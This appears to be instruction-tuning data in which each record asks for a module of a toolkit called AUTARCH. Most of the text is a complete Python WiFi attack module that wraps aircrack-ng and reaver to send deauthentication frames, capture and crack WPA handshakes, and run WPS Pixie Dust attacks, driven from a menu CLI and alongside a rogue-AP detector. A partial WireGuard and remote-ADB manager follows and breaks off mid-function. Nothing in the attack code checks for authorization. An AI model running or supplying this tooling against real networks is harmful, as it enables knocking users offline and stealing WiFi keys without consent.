Instruction: Create an AUTARCH module in the 'offense' category that wifi network auditing & attack tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: wifi_audit
Category: offense
Description: WiFi network auditing & attack tools

Output:
"""AUTARCH WiFi Auditing

Interface management, network discovery, handshake capture, deauth attack,
rogue AP detection, WPS attack, and packet capture for wireless security auditing.
"""

DESCRIPTION = "WiFi network auditing & attack tools"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import os
import re
import json
import time
import signal
import shutil
import threading
import subprocess
from pathlib import Path
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Any, Tuple

try:
    from core.paths import find_tool, get_data_dir
except ImportError:
    def find_tool(name):
        return shutil.which(name)
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

# ── Data Structures ──────────────────────────────────────────────────────────

@dataclass
class AccessPoint:
    bssid: str
    ssid: str = ""
    channel: int = 0
    encryption: str = ""
    cipher: str = ""
    auth: str = ""
    signal: int = 0
    beacons: int = 0
    data_frames: int = 0
    clients: List[str] = field(default_factory=list)

@dataclass
class WifiClient:
    mac: str
    bssid: str = ""
    signal: int = 0
    frames: int = 0
    probe: str = ""

# ── WiFi Auditor ─────────────────────────────────────────────────────────────

class WiFiAuditor:
    """WiFi auditing toolkit using aircrack-ng suite."""

    def __init__(self):
        self.data_dir = os.path.join(get_data_dir(), 'wifi')
        os.makedirs(self.data_dir, exist_ok=True)
        self.captures_dir = os.path.join(self.data_dir, 'captures')
        os.makedirs(self.captures_dir, exist_ok=True)

        # Tool paths
        self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')
        self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')
        self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
        self.aircrack = find_tool('aircrack-ng') or shutil.which('aircrack-ng')
        self.reaver = find_tool('reaver') or shutil.which('reaver')
        self.wash = find_tool('wash') or shutil.which('wash')
        self.iwconfig = shutil.which('iwconfig')
        self.iw = shutil.which('iw')
        self.ip_cmd = shutil.which('ip')

        # State
        self.monitor_interface: Optional[str] = None
        self.scan_results: Dict[str, AccessPoint] = {}
        self.clients: List[WifiClient] = []
        self.known_aps: List[Dict] = []
        self._scan_proc: Optional[subprocess.Popen] = None
        self._capture_proc: Optional[subprocess.Popen] = None
        self._jobs: Dict[str, Dict] = {}

    def get_tools_status(self) -> Dict[str, bool]:
        """Check availability of all required tools."""
        return {
            'airmon-ng': self.airmon is not None,
            'airodump-ng': self.airodump is not None,
            'aireplay-ng': self.aireplay is not None,
            'aircrack-ng': self.aircrack is not None,
            'reaver': self.reaver is not None,
            'wash': self.wash is not None,
            'iwconfig': self.iwconfig is not None,
            'iw': self.iw is not None,
            'ip': self.ip_cmd is not None,
        }

    # ── Interface Management ─────────────────────────────────────────────

    def get_interfaces(self) -> List[Dict]:
        """List wireless interfaces."""
        interfaces = []
        # Try iw first
        if self.iw:
            try:
                out = subprocess.check_output([self.iw, 'dev'], text=True, timeout=5)
                iface = None
                for line in out.splitlines():
                    line = line.strip()
                    if line.startswith('Interface'):
                        iface = {'name': line.split()[-1], 'mode': 'managed', 'channel': 0, 'mac': ''}
                    elif iface:
                        if line.startswith('type'):
                            iface['mode'] = line.split()[-1]
                        elif line.startswith('channel'):
                            try:
                                iface['channel'] = int(line.split()[1])
                            except (ValueError, IndexError):
                                pass
                        elif line.startswith('addr'):
                            iface['mac'] = line.split()[-1]
                if iface:
                    interfaces.append(iface)
            except Exception:
                pass

        # Fallback to iwconfig
        if not interfaces and self.iwconfig:
            try:
                out = subprocess.check_output([self.iwconfig], text=True,
                                              stderr=subprocess.DEVNULL, timeout=5)
                for block in out.split('\n\n'):
                    if 'IEEE 802.11' in block or 'ESSID' in block:
                        name = block.split()[0]
                        mode = 'managed'
                        if 'Mode:Monitor' in block:
                            mode = 'monitor'
                        elif 'Mode:Master' in block:
                            mode = 'master'
                        freq_m = re.search(r'Channel[:\s]*(\d+)', block)
                        ch = int(freq_m.group(1)) if freq_m else 0
                        interfaces.append({'name': name, 'mode': mode, 'channel': ch, 'mac': ''})
            except Exception:
                pass

        # Fallback: list from /sys
        if not interfaces:
            try:
                wireless_dir = Path('/sys/class/net')
                if wireless_dir.exists():
                    for d in wireless_dir.iterdir():
                        if (d / 'wireless').exists() or (d / 'phy80211').exists():
                            interfaces.append({
                                'name': d.name, 'mode': 'unknown', 'channel': 0, 'mac': ''
                            })
            except Exception:
                pass

        return interfaces

    def enable_monitor(self, interface: str) -> Dict:
        """Put interface into monitor mode."""
        if not self.airmon:
            return {'ok': False, 'error': 'airmon-ng not found'}

        try:
            # Kill interfering processes
            subprocess.run([self.airmon, 'check', 'kill'],
                           capture_output=True, text=True, timeout=10)

            # Enable monitor mode
            result = subprocess.run([self.airmon, 'start', interface],
                                    capture_output=True, text=True, timeout=10)

            # Detect monitor interface name (usually wlan0mon or similar)
            mon_iface = interface + 'mon'
            for line in result.stdout.splitlines():
                m = re.search(r'\(monitor mode.*enabled.*on\s+(\S+)\)', line, re.I)
                if m:
                    mon_iface = m.group(1)
                    break
                m = re.search(r'monitor mode.*vif.*enabled.*for.*\[(\S+)\]', line, re.I)
                if m:
                    mon_iface = m.group(1)
                    break

            self.monitor_interface = mon_iface
            return {'ok': True, 'interface': mon_iface, 'message': f'Monitor mode enabled on {mon_iface}'}

        except subprocess.TimeoutExpired:
            return {'ok': False, 'error': 'Timeout enabling monitor mode'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def disable_monitor(self, interface: str = None) -> Dict:
        """Disable monitor mode and restore managed mode."""
        if not self.airmon:
            return {'ok': False, 'error': 'airmon-ng not found'}

        iface = interface or self.monitor_interface
        if not iface:
            return {'ok': False, 'error': 'No monitor interface specified'}

        try:
            result = subprocess.run([self.airmon, 'stop', iface],
                                    capture_output=True, text=True, timeout=10)
            self.monitor_interface = None
            # Restart network manager
            subprocess.run(['systemctl', 'start', 'NetworkManager'],
                           capture_output=True, timeout=5)
            return {'ok': True, 'message': f'Monitor mode disabled on {iface}'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def set_channel(self, interface: str, channel: int) -> Dict:
        """Set wireless interface channel."""
        if self.iw:
            try:
                subprocess.run([self.iw, 'dev', interface, 'set', 'channel', str(channel)],
                               capture_output=True, text=True, timeout=5)
                return {'ok': True, 'channel': channel}
            except Exception as e:
                return {'ok': False, 'error': str(e)}
        return {'ok': False, 'error': 'iw not found'}

    # ── Network Scanning ─────────────────────────────────────────────────

    def scan_networks(self, interface: str = None, duration: int = 15) -> Dict:
        """Scan for nearby wireless networks using airodump-ng."""
        iface = interface or self.monitor_interface
        if not iface:
            return {'ok': False, 'error': 'No monitor interface. Enable monitor mode first.'}
        if not self.airodump:
            return {'ok': False, 'error': 'airodump-ng not found'}

        prefix = os.path.join(self.captures_dir, f'scan_{int(time.time())}')

        try:
            proc = subprocess.Popen(
                [self.airodump, '--output-format', 'csv', '-w', prefix, iface],
                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
            )
            time.sleep(duration)
            proc.send_signal(signal.SIGINT)
            proc.wait(timeout=5)

            # Parse CSV output
            csv_file = prefix + '-01.csv'
            if os.path.exists(csv_file):
                self._parse_airodump_csv(csv_file)
                return {
                    'ok': True,
                    'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()],
                    'clients': [self._client_to_dict(c) for c in self.clients],
                    'count': len(self.scan_results)
                }
            return {'ok': False, 'error': 'No scan output produced'}

        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def _parse_airodump_csv(self, filepath: str):
        """Parse airodump-ng CSV output."""
        self.scan_results.clear()
        self.clients.clear()

        try:
            with open(filepath, 'r', errors='ignore') as f:
                content = f.read()

            # Split into AP section and client section
            sections = content.split('Station MAC')
            ap_section = sections[0] if sections else ''
            client_section = sections[1] if len(sections) > 1 else ''

            # Parse APs
            for line in ap_section.splitlines():
                parts = [p.strip() for p in line.split(',')]
                if len(parts) >= 14 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]):
                    bssid = parts[0].upper()
                    ap = AccessPoint(
                        bssid=bssid,
                        channel=int(parts[3]) if parts[3].strip().isdigit() else 0,
                        signal=int(parts[8]) if parts[8].strip().lstrip('-').isdigit() else 0,
                        encryption=parts[5].strip(),
                        cipher=parts[6].strip(),
                        auth=parts[7].strip(),
                        beacons=int(parts[9]) if parts[9].strip().isdigit() else 0,
                        data_frames=int(parts[10]) if parts[10].strip().isdigit() else 0,
                        ssid=parts[13].strip() if len(parts) > 13 else ''
                    )
                    self.scan_results[bssid] = ap

            # Parse clients
            for line in client_section.splitlines():
                parts = [p.strip() for p in line.split(',')]
                if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]):
                    client = WifiClient(
                        mac=parts[0].upper(),
                        signal=int(parts[3]) if parts[3].strip().lstrip('-').isdigit() else 0,
                        frames=int(parts[4]) if parts[4].strip().isdigit() else 0,
                        bssid=parts[5].strip().upper() if len(parts) > 5 else '',
                        probe=parts[6].strip() if len(parts) > 6 else ''
                    )
                    self.clients.append(client)
                    # Associate with AP
                    if client.bssid in self.scan_results:
                        self.scan_results[client.bssid].clients.append(client.mac)

        except Exception:
            pass

    def get_scan_results(self) -> Dict:
        """Return current scan results."""
        return {
            'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()],
            'clients': [self._client_to_dict(c) for c in self.clients],
            'count': len(self.scan_results)
        }

    # ── Handshake Capture ────────────────────────────────────────────────

    def capture_handshake(self, interface: str, bssid: str, channel: int,
                          deauth_count: int = 5, timeout: int = 60) -> str:
        """Capture WPA handshake. Returns job_id for async polling."""
        job_id = f'handshake_{int(time.time())}'
        self._jobs[job_id] = {
            'type': 'handshake', 'status': 'running', 'bssid': bssid,
            'result': None, 'started': time.time()
        }

        def _capture():
            try:
                # Set channel
                self.set_channel(interface, channel)

                prefix = os.path.join(self.captures_dir, f'hs_{bssid.replace(":", "")}_{int(time.time())}')

                # Start capture
                cap_proc = subprocess.Popen(
                    [self.airodump, '-c', str(channel), '--bssid', bssid,
                     '-w', prefix, interface],
                    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
                )

                # Send deauths after short delay
                time.sleep(3)
                if self.aireplay:
                    subprocess.run(
                        [self.aireplay, '-0', str(deauth_count), '-a', bssid, interface],
                        capture_output=True, timeout=15
                    )

                # Wait for handshake
                cap_file = prefix + '-01.cap'
                start = time.time()
                captured = False
                while time.time() - start < timeout:
                    if os.path.exists(cap_file) and self.aircrack:
                        check = subprocess.run(
                            [self.aircrack, '-a', '2', '-b', bssid, cap_file],
                            capture_output=True, text=True, timeout=10
                        )
                        if '1 handshake' in check.stdout.lower() or 'valid handshake' in check.stdout.lower():
                            captured = True
                            break
                    time.sleep(2)

                cap_proc.send_signal(signal.SIGINT)
                cap_proc.wait(timeout=5)

                if captured:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': True, 'capture_file': cap_file, 'bssid': bssid,
                        'message': f'Handshake captured for {bssid}'
                    }
                else:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': False, 'error': 'Handshake capture timed out',
                        'capture_file': cap_file if os.path.exists(cap_file) else None
                    }

            except Exception as e:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)}

        threading.Thread(target=_capture, daemon=True).start()
        return job_id

    def crack_handshake(self, capture_file: str, wordlist: str, bssid: str = None) -> str:
        """Crack captured handshake with wordlist. Returns job_id."""
        if not self.aircrack:
            return ''

        job_id = f'crack_{int(time.time())}'
        self._jobs[job_id] = {
            'type': 'crack', 'status': 'running',
            'result': None, 'started': time.time()
        }

        def _crack():
            try:
                cmd = [self.aircrack, '-w', wordlist, '-b', bssid, capture_file] if bssid else \
                      [self.aircrack, '-w', wordlist, capture_file]

                result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600)

                # Parse result
                key_match = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', result.stdout)
                if key_match:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': True, 'key': key_match.group(1), 'message': 'Key found!'
                    }
                else:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': False, 'error': 'Key not found in wordlist'
                    }

            except subprocess.TimeoutExpired:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': 'Crack timeout (1hr)'}
            except Exception as e:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)}

        threading.Thread(target=_crack, daemon=True).start()
        return job_id

    # ── Deauth Attack ────────────────────────────────────────────────────

    def deauth(self, interface: str, bssid: str, client: str = None,
               count: int = 10) -> Dict:
        """Send deauthentication frames."""
        if not self.aireplay:
            return {'ok': False, 'error': 'aireplay-ng not found'}

        iface = interface or self.monitor_interface
        if not iface:
            return {'ok': False, 'error': 'No monitor interface'}

        try:
            cmd = [self.aireplay, '-0', str(count), '-a', bssid]
            if client:
                cmd += ['-c', client]
            cmd.append(iface)

            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            return {
                'ok': True,
                'message': f'Sent {count} deauth frames to {bssid}' +
                           (f' targeting {client}' if client else ' (broadcast)'),
                'output': result.stdout
            }
        except subprocess.TimeoutExpired:
            return {'ok': False, 'error': 'Deauth timeout'}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    # ── Rogue AP Detection ───────────────────────────────────────────────

    def save_known_aps(self):
        """Save current scan as known/baseline APs."""
        self.known_aps = [self._ap_to_dict(ap) for ap in self.scan_results.values()]
        known_file = os.path.join(self.data_dir, 'known_aps.json')
        with open(known_file, 'w') as f:
            json.dump(self.known_aps, f, indent=2)
        return {'ok': True, 'count': len(self.known_aps)}

    def load_known_aps(self) -> List[Dict]:
        """Load previously saved known APs."""
        known_file = os.path.join(self.data_dir, 'known_aps.json')
        if os.path.exists(known_file):
            with open(known_file) as f:
                self.known_aps = json.load(f)
        return self.known_aps

    def detect_rogue_aps(self) -> Dict:
        """Compare current scan against known APs to detect evil twins/rogues."""
        if not self.known_aps:
            self.load_known_aps()
        if not self.known_aps:
            return {'ok': False, 'error': 'No baseline APs saved. Run save_known_aps first.'}

        known_bssids = {ap['bssid'] for ap in self.known_aps}
        known_ssids = {ap['ssid'] for ap in self.known_aps if ap['ssid']}
        known_pairs = {(ap['bssid'], ap['ssid']) for ap in self.known_aps}

        alerts = []
        for bssid, ap in self.scan_results.items():
            if bssid not in known_bssids:
                if ap.ssid in known_ssids:
                    # Same SSID, different BSSID = possible evil twin
                    alerts.append({
                        'type': 'evil_twin',
                        'severity': 'high',
                        'bssid': bssid,
                        'ssid': ap.ssid,
                        'channel': ap.channel,
                        'signal': ap.signal,
                        'message': f'Possible evil twin: SSID "{ap.ssid}" from unknown BSSID {bssid}'
                    })
                else:
                    # Completely new AP
                    alerts.append({
                        'type': 'new_ap',
                        'severity': 'low',
                        'bssid': bssid,
                        'ssid': ap.ssid,
                        'channel': ap.channel,
                        'signal': ap.signal,
                        'message': f'New AP detected: "{ap.ssid}" ({bssid})'
                    })
            else:
                # Known BSSID but check for SSID change
                if (bssid, ap.ssid) not in known_pairs and ap.ssid:
                    alerts.append({
                        'type': 'ssid_change',
                        'severity': 'medium',
                        'bssid': bssid,
                        'ssid': ap.ssid,
                        'message': f'Known AP {bssid} changed SSID to "{ap.ssid}"'
                    })

        return {
            'ok': True,
            'alerts': alerts,
            'alert_count': len(alerts),
            'scanned': len(self.scan_results),
            'known': len(self.known_aps)
        }

    # ── WPS Attack ───────────────────────────────────────────────────────

    def wps_scan(self, interface: str = None) -> Dict:
        """Scan for WPS-enabled networks using wash."""
        iface = interface or self.monitor_interface
        if not self.wash:
            return {'ok': False, 'error': 'wash not found'}
        if not iface:
            return {'ok': False, 'error': 'No monitor interface'}

        try:
            result = subprocess.run(
                [self.wash, '-i', iface, '-s'],
                capture_output=True, text=True, timeout=15
            )
            networks = []
            for line in result.stdout.splitlines():
                parts = line.split()
                if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]):
                    networks.append({
                        'bssid': parts[0],
                        'channel': parts[1],
                        'rssi': parts[2],
                        'wps_version': parts[3],
                        'locked': parts[4].upper() == 'YES',
                        'ssid': ' '.join(parts[5:])
                    })
            return {'ok': True, 'networks': networks, 'count': len(networks)}
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def wps_attack(self, interface: str, bssid: str, channel: int,
                   pixie_dust: bool = True, timeout: int = 300) -> str:
        """Run WPS PIN attack (Pixie Dust or brute force). Returns job_id."""
        if not self.reaver:
            return ''

        job_id = f'wps_{int(time.time())}'
        self._jobs[job_id] = {
            'type': 'wps', 'status': 'running', 'bssid': bssid,
            'result': None, 'started': time.time()
        }

        def _attack():
            try:
                cmd = [self.reaver, '-i', interface, '-b', bssid, '-c', str(channel), '-vv']
                if pixie_dust:
                    cmd.extend(['-K', '1'])

                result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)

                pin_match = re.search(r'WPS PIN:\s*[\'"]?(\d+)', result.stdout)
                psk_match = re.search(r'WPA PSK:\s*[\'"]?(.+?)[\'"]?\s*$', result.stdout, re.M)

                if pin_match or psk_match:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': True,
                        'pin': pin_match.group(1) if pin_match else None,
                        'psk': psk_match.group(1) if psk_match else None,
                        'message': 'WPS attack successful'
                    }
                else:
                    self._jobs[job_id]['status'] = 'complete'
                    self._jobs[job_id]['result'] = {
                        'ok': False, 'error': 'WPS attack failed',
                        'output': result.stdout[-500:] if result.stdout else ''
                    }
            except subprocess.TimeoutExpired:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': 'WPS attack timed out'}
            except Exception as e:
                self._jobs[job_id]['status'] = 'error'
                self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)}

        threading.Thread(target=_attack, daemon=True).start()
        return job_id

    # ── Packet Capture ───────────────────────────────────────────────────

    def start_capture(self, interface: str, channel: int = None,
                      bssid: str = None, output_name: str = None) -> Dict:
        """Start raw packet capture on interface."""
        if not self.airodump:
            return {'ok': False, 'error': 'airodump-ng not found'}

        iface = interface or self.monitor_interface
        if not iface:
            return {'ok': False, 'error': 'No monitor interface'}

        name = output_name or f'capture_{int(time.time())}'
        prefix = os.path.join(self.captures_dir, name)

        cmd = [self.airodump, '--output-format', 'pcap,csv', '-w', prefix]
        if channel:
            cmd += ['-c', str(channel)]
        if bssid:
            cmd += ['--bssid', bssid]
        cmd.append(iface)

        try:
            self._capture_proc = subprocess.Popen(
                cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
            )
            return {
                'ok': True,
                'message': f'Capture started on {iface}',
                'prefix': prefix,
                'pid': self._capture_proc.pid
            }
        except Exception as e:
            return {'ok': False, 'error': str(e)}

    def stop_capture(self) -> Dict:
        """Stop running packet capture."""
        if self._capture_proc:
            try:
                self._capture_proc.send_signal(signal.SIGINT)
                self._capture_proc.wait(timeout=5)
            except Exception:
                self._capture_proc.kill()
            self._capture_proc = None
            return {'ok': True, 'message': 'Capture stopped'}
        return {'ok': False, 'error': 'No capture running'}

    def list_captures(self) -> List[Dict]:
        """List saved capture files."""
        captures = []
        cap_dir = Path(self.captures_dir)
        for f in sorted(cap_dir.glob('*.cap')) + sorted(cap_dir.glob('*.pcap')):
            captures.append({
                'name': f.name,
                'path': str(f),
                'size': f.stat().st_size,
                'modified': f.stat().st_mtime
            })
        return captures

    # ── Job Management ───────────────────────────────────────────────────

    def get_job(self, job_id: str) -> Optional[Dict]:
        """Get job status."""
        return self._jobs.get(job_id)

    def list_jobs(self) -> List[Dict]:
        """List all jobs."""
        return [{'id': k, **v} for k, v in self._jobs.items()]

    # ── Helpers ──────────────────────────────────────────────────────────

    def _ap_to_dict(self, ap: AccessPoint) -> Dict:
        return {
            'bssid': ap.bssid, 'ssid': ap.ssid, 'channel': ap.channel,
            'encryption': ap.encryption, 'cipher': ap.cipher, 'auth': ap.auth,
            'signal': ap.signal, 'beacons': ap.beacons,
            'data_frames': ap.data_frames, 'clients': ap.clients
        }

    def _client_to_dict(self, c: WifiClient) -> Dict:
        return {
            'mac': c.mac, 'bssid': c.bssid, 'signal': c.signal,
            'frames': c.frames, 'probe': c.probe
        }

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_wifi_auditor() -> WiFiAuditor:
    global _instance
    if _instance is None:
        _instance = WiFiAuditor()
    return _instance

# ── CLI Interface ────────────────────────────────────────────────────────────

def run():
    """CLI entry point for WiFi Auditing module."""
    auditor = get_wifi_auditor()

    while True:
        tools = auditor.get_tools_status()
        available = sum(1 for v in tools.values() if v)

        print(f"\n{'='*60}")
        print(f"  WiFi Auditing  ({available}/{len(tools)} tools available)")
        print(f"{'='*60}")
        print(f"  Monitor Interface: {auditor.monitor_interface or 'None'}")
        print(f"  APs Found: {len(auditor.scan_results)}")
        print(f"  Clients Found: {len(auditor.clients)}")
        print()
        print("  1 — List Wireless Interfaces")
        print("  2 — Enable Monitor Mode")
        print("  3 — Disable Monitor Mode")
        print("  4 — Scan Networks")
        print("  5 — Deauth Attack")
        print("  6 — Capture Handshake")
        print("  7 — Crack Handshake")
        print("  8 — WPS Scan")
        print("  9 — Rogue AP Detection")
        print("  10 — Packet Capture")
        print("  11 — Tool Status")
        print("  0 — Back")
        print()

        choice = input("  > ").strip()

        if choice == '0':
            break
        elif choice == '1':
            ifaces = auditor.get_interfaces()
            if ifaces:
                for i in ifaces:
                    print(f"    {i['name']}  mode={i['mode']}  ch={i['channel']}")
            else:
                print("    No wireless interfaces found")
        elif choice == '2':
            iface = input("  Interface name: ").strip()
            result = auditor.enable_monitor(iface)
            print(f"    {result.get('message', result.get('error', 'Unknown'))}")
        elif choice == '3':
            result = auditor.disable_monitor()
            print(f"    {result.get('message', result.get('error', 'Unknown'))}")
        elif choice == '4':
            dur = input("  Scan duration (seconds, default 15): ").strip()
            result = auditor.scan_networks(duration=int(dur) if dur.isdigit() else 15)
            if result['ok']:
                print(f"    Found {result['count']} access points:")
                for ap in result['access_points']:
                    print(f"      {ap['bssid']}  {ap['ssid']:<24}  ch={ap['channel']}  "
                          f"sig={ap['signal']}dBm  {ap['encryption']}")
            else:
                print(f"    Error: {result['error']}")
        elif choice == '5':
            bssid = input("  Target BSSID: ").strip()
            client = input("  Client MAC (blank=broadcast): ").strip() or None
            count = input("  Deauth count (default 10): ").strip()
            result = auditor.deauth(auditor.monitor_interface, bssid, client,
                                     int(count) if count.isdigit() else 10)
            print(f"    {result.get('message', result.get('error'))}")
        elif choice == '6':
            bssid = input("  Target BSSID: ").strip()
            channel = input("  Channel: ").strip()
            if bssid and channel.isdigit():
                job_id = auditor.capture_handshake(auditor.monitor_interface, bssid, int(channel))
                print(f"    Handshake capture started (job: {job_id})")
                print("    Polling for result...")
                while True:
                    job = auditor.get_job(job_id)
                    if job and job['status'] != 'running':
                        print(f"    Result: {job['result']}")
                        break
                    time.sleep(3)
        elif choice == '7':
            cap = input("  Capture file path: ").strip()
            wl = input("  Wordlist path: ").strip()
            bssid = input("  BSSID (optional): ").strip() or None
            if cap and wl:
                job_id = auditor.crack_handshake(cap, wl, bssid)
                if job_id:
                    print(f"    Cracking started (job: {job_id})")
                else:
                    print("    aircrack-ng not found")
        elif choice == '8':
            result = auditor.wps_scan()
            if result['ok']:
                print(f"    Found {result['count']} WPS networks:")
                for n in result['networks']:
                    locked = 'LOCKED' if n['locked'] else 'open'
                    print(f"      {n['bssid']}  {n['ssid']:<24}  WPS {n['wps_version']}  {locked}")
            else:
                print(f"    Error: {result['error']}")
        elif choice == '9':
            if not auditor.known_aps:
                print("    No baseline saved. Save current scan as baseline? (y/n)")
                if input("    > ").strip().lower() == 'y':
                    auditor.save_known_aps()
                    print(f"    Saved {len(auditor.known_aps)} APs as baseline")
            else:
                result = auditor.detect_rogue_aps()
                if result['ok']:
                    print(f"    Scanned: {result['scanned']}  Known: {result['known']}  Alerts: {result['alert_count']}")
                    for a in result['alerts']:
                        print(f"      [{a['severity'].upper()}] {a['message']}")
        elif choice == '10':
            print("    1 — Start Capture")
            print("    2 — Stop Capture")
            print("    3 — List Captures")
            sub = input("    > ").strip()
            if sub == '1':
                result = auditor.start_capture(auditor.monitor_interface)
                print(f"    {result.get('message', result.get('error'))}")
            elif sub == '2':
                result = auditor.stop_capture()
                print(f"    {result.get('message', result.get('error'))}")
            elif sub == '3':
                for c in auditor.list_captures():
                    print(f"    {c['name']}  ({c['size']} bytes)")
        elif choice == '11':
            for tool, avail in tools.items():
                status = 'OK' if avail else 'MISSING'
                print(f"    {tool:<15} {status}")


Instruction: Create an AUTARCH module in the 'defense' category that wireguard vpn + remote adb manager. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: wireguard_manager
Category: defense
Description: WireGuard VPN + Remote ADB manager

Output:
"""
WireGuard VPN Manager - Server management, client CRUD, remote ADB
Manage WireGuard VPN server, clients, and remote ADB connections over VPN tunnel.
"""

DESCRIPTION = "WireGuard VPN + Remote ADB manager"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "defense"

class WireGuardVPN:
    """Interactive WireGuard VPN menu."""

    def __init__(self):
        from core.wireguard import get_wireguard_manager
        self.mgr = get_wireguard_manager()

    def show_menu(self):
        status = self.mgr.get_server_status()
        running = status.get('running', False)
        endpoint = status.get('endpoint', 'N/A')
        clients = self.mgr.get_all_clients()
        peer_status = self.mgr.get_peer_status() if running else {}

        # Count online peers
        online = 0
        for c in clients:
            ps = peer_status.get(c.get('public_key', ''), {})
            hs = ps.get('latest_handshake')
            if hs is not None and hs < 180:
                online += 1

        print(f"\n{'='*55}")
        print("  WireGuard VPN Manager")
        print(f"{'='*55}")
        print(f"  Interface: {status.get('interface', 'wg0')} | "
              f"Status: {'Running' if running else 'Stopped'}")
        print(f"  Endpoint: {endpoint}")
        print(f"  Clients: {len(clients)} ({online} online)")
        print()
        print("  -- Server --")
        print("   1) Server Status")
        print("   2) Start Interface")
        print("   3) Stop Interface")
        print("   4) Restart Interface")
        print()
        print("  -- Clients --")
        print("  10) List All Clients")
        print("  11) Create New Client")
        print("  12) View Client Detail")
        print("  13) Delete Client")
        print("  14) Enable/Disable Client")
        print("  15) Import Existing Peers")
        print()
        print("  -- Remote ADB --")
        print("  20) ADB Connect (TCP/IP)")
        print("  21) ADB Disconnect")
        print("  22) Auto-Connect All Peers")
        print("  23) List Remote ADB Devices")
        print()
        print("  -- USB/IP --")
        print("  30) USB/IP Status")
        print("  31) Load USB/IP Modules")
        print("  32) List Remote USB Devices")
        print("  33) Attach USB Device")
        print("  34) Detach USB Device")
        print("  35) List Attached Ports")
        print()
        print("  -- Config --")
        print("  40) Generate Client Config")
        print("  41) Show QR Code (terminal)")
        print("  42) Refresh UPnP Mapping")
        print()
        print("   0) Back")
        print()

    # ── Helpers ─────────────────────────────────────────────────────

    def _pick_client(self, prompt="  Select client #: "):
        """Select a client from the list."""
        clients = self.mgr.get_all_clients()
        if not clients:
            print("  No clients configured.")
            return None
        print("\n  Clients:")
        for i, c in enumerate(clients, 1):
            status = "ON " if c.get('enabled', True) else "OFF"
            print(f"    {i}) [{status}] {c['name']} ({c['assigned_ip']})")
        try:
            choice = int(input(prompt).strip())
            if 1 <= choice <= len(clients):
                return clients[choice - 1]
        except (ValueError, EOFError, KeyboardInterrupt):
            pass
        return None

    def _pick_client_ip(self, prompt="  Client IP (or # to select): "):
        """Get a client IP either directly or by selection."""
        try:
            val = input(prompt).strip()
        except (EOFError, KeyboardInterrupt):
            return None
        if not val:
            return None
        # If numeric, treat as selection
        if val.isdigit():
            clients = self.mgr.get_all_clients()
            idx = int(val) - 1
            if 0 <= idx < len(clients):
                return clients[idx]['assigned_ip']
            print("  Invalid selection.")
            return None
        return val

    # ── Server ─────────────────────────────────────────────────────

    def do_server_status(self):
        status = self.mgr.get_server_status()
        print(f"\n  Server Status:")
        print(f"    Interface:  {status.get('interface', 'wg0')}")
        print(f"    Running:    {status.get('running', False)}")
        print(f"    Public Key: {status.get('public_key', 'N/A')}")
        print(f"    Endpoint:   {status.get('endpoint', 'N/A')}")
        print(f"    Listen Port: {status.get('listen_port', 'N/A')}")
        print(f"    Peers:      {status.get('peer_count', 0)}")
        if status.get('error'):
            print(f"    Error:      {status['error']}")

    def do_start(self):
        print("  Starting WireGuard interface...")
        result = self.mgr.start_interface()
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_stop(self):
        print("  Stopping WireGuard interface...")
        result = self.mgr.stop_interface()
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_restart(self):
        print("  Restarting WireGuard interface...")
        result = self.mgr.restart_interface()
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    # ── Clients ────────────────────────────────────────────────────

    def do_list_clients(self):
        clients = self.mgr.get_all_clients()
        peer_status = self.mgr.get_peer_status()
        if not clients:
            print("\n  No clients configured.")
            return
        print(f"\n  {'Name':<20} {'IP':<16} {'Status':<8} {'Handshake':<20} {'RX/TX'}")
        print(f"  {'-'*80}")
        for c in clients:
            ps = peer_status.get(c.get('public_key', ''), {})
            hs = ps.get('latest_handshake')
            hs_str = ps.get('latest_handshake_str', 'never')
